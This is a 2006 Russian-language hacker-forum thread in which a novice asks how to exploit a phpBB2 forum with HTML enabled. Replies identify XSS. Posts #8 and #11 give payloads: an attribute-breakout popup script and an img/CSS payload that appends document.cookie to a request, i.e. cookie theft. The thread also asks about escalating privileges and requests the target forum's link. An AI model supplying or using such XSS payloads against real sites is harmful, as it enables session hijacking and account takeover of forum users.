PHPbb2 нашел форму где html-тэг ON

Discussion in 'Болталка' started by mr-troy, 18 Dec 2006.

  1. mr-troy

    mr-troy Banned

    Joined:
    14 Dec 2006
    Messages:
    3
    Likes Received:
    3
    Reputations:
    -5
    Вто нашел такой форум, где хтмл тэги включены, как можно сломать?
    не бейте сильно, я только учусь :) ;)
     
    #1 mr-troy, 18 Dec 2006
    Last edited: 18 Dec 2006
  2. delay(0)

    delay(0) Member

    Joined:
    22 Nov 2006
    Messages:
    90
    Likes Received:
    41
    Reputations:
    6
    xss
     
    #2 delay(0), 18 Dec 2006
  3. mr-troy

    mr-troy Banned

    Joined:
    14 Dec 2006
    Messages:
    3
    Likes Received:
    3
    Reputations:
    -5
    я одном топике ответил данным сообщением, вывелось вот это:
    <pre>
    а что дальше? можешь в аську стукнуть? или тут написать?
     
    #3 mr-troy, 18 Dec 2006
  4. EPIDEM

    EPIDEM Banned

    Joined:
    28 Dec 2005
    Messages:
    124
    Likes Received:
    37
    Reputations:
    -10
    дай сцылу =)
     
    #4 EPIDEM, 18 Dec 2006
  5. mr-troy

    mr-troy Banned

    Joined:
    14 Dec 2006
    Messages:
    3
    Likes Received:
    3
    Reputations:
    -5
    гы..я ломать ничего не хочу :)
    просто хочу понять уязвимость.
     
    #5 mr-troy, 18 Dec 2006
  6. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    эта уязвимость называется xss -- что расшифоровывается как крос сайт скриптингъъъ -- вообщем можно вставлять --- любой текст -- подумай сам если вставить javascript код -- то браузер его воспримет как код и выполнит --- =) лол
     
    #6 genom--, 18 Dec 2006
  7. mr-troy

    mr-troy Banned

    Joined:
    14 Dec 2006
    Messages:
    3
    Likes Received:
    3
    Reputations:
    -5
    ОО спасибо, т.е вместо скрипта XSS могу любой яваскрипт вставить :)
    а чтобы права расширить свои, какие скрипты посоветуете? )
     
    #7 mr-troy, 18 Dec 2006
  8. mr-troy

    mr-troy Banned

    Joined:
    14 Dec 2006
    Messages:
    3
    Likes Received:
    3
    Reputations:
    -5
    <pre a='>' onmouseover='alert(/<script language="JavaScript">
    WOweb=window.open("ВЗЛОМ/","mr-troy", "width=200, height=143, toolbar=0, location=0, status=0, menubar=0, scrollbars=0, resizable=0,left=1,top=1")
    </script>)' b='<pre' >

    Вот так работаеть будет? Типа всплывающее окно.
     
    #8 mr-troy, 18 Dec 2006
  9. EPIDEM

    EPIDEM Banned

    Joined:
    28 Dec 2005
    Messages:
    124
    Likes Received:
    37
    Reputations:
    -10
    дай фсетаки форум =)
    ломать не буим но посмеёмся =))
     
    #9 EPIDEM, 19 Dec 2006
  10. Kaban

    Kaban Elder - Старейшина

    Joined:
    19 Mar 2006
    Messages:
    248
    Likes Received:
    78
    Reputations:
    14
    читай статьи про XSS, там описано как что сделать...
     
    #10 Kaban, 22 Dec 2006
  11. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    <img src=''/cgi-bin/s.jpg'' style=background:url(javascript:document.images[1].src=''/s.jpg?''+document.cookie)>
     
    #11 ~!DoK_tOR!~, 23 Dec 2006
(You must log in or sign up to post here.)